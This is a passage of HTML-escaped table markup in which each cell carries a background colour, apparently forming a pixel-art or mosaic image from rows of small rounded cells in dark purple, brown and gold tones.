&lt;td style=&quot;background-color: #a3783a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7e5934; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5d4131; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #422b2d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1c0f28; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #100927; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #16112a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1c152a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1c162a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #171328; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0f0e25; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0e0d25; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #121025; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #121025; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #141125; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #141125; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #170f26; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #201126; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #281325; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2d1524; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #220f23; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #190d25; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #150f26; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #171128; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1a172e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #211b30; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #271d31; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #261c31; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #261d34; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2c2338; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #31293c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3d3645; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #4f3638; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2d2237; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2d2237; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2f2236; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #221a33; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2b1d30; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4d2f2d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4f2e2c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #63392b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #502d29; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #583228; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #58322b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #623d2d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a77d3e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c99d4b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c59a4a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c39748; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c99c49; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ca9d49; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c69643; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c59443; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bb883d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8b5e34; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #563b2e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2c1e2a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #15102a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #14122a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #131028; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #090926; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #060725; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #080925; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0b0c27; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #090a26; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #080925; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #090824; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #0f0b26; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #160c26; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #241227; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #200f25; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #170c24; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1c142b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1d182e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1b162c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #271f34; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #261d32; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #271f35; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #291e34; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #302539; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #322739; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3f3341; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #4c3338; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #281e35; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #291d31; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2b1d30; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1f1830; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #19132d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2d1a2b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #361f2a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #402128; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3c2127; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #472a29; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #442a2c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #523129; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6f472f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8b5d34; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #906235; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a8783a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b6863d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bd8d40; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c09143; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bb8d3f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c2903d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c08c3b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c58c39; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c08c3b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7d512d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #372124; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #191524; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #251b22; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #322321; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #241821; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #281620; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #462a1f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4b2e1d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #391e1e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3a1e1e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2e181f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1a0e22; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #180d24; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1e1026; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #191126; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2c273a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #332e3f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #23192c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #20192f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #251f34; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #241f33; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2e2639; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2d2134; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3a2d3b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #593536; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #281d32; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1b122b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #20132b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #19112b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #120e2c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #16112b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #20162b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #201125; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #221427; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2e1e2b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2a1929; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #281829; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #472f2c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5f3e2e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7f5833; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #946434; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a67233; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #af7c35; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b3813a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b07d38; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b47f38; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b48139; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8a5b30; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #936132; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b37935; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #965a28; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #784823; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7e501e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #88551c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #764119; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #743c17; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6e3717; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #794017; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7a4018; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #602d1a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #56281c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #401e1d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1a0d20; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #130d24; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #150f25; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #271e32; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2d2639; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #20182d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1f192f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #201c32; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #241e32; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #261e34; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2f1f30; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3f2d39; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #352436; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #221930; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #21172d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1e172d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #150f29; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #19122c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1b142b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1a122a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #170e26; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #170e25; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
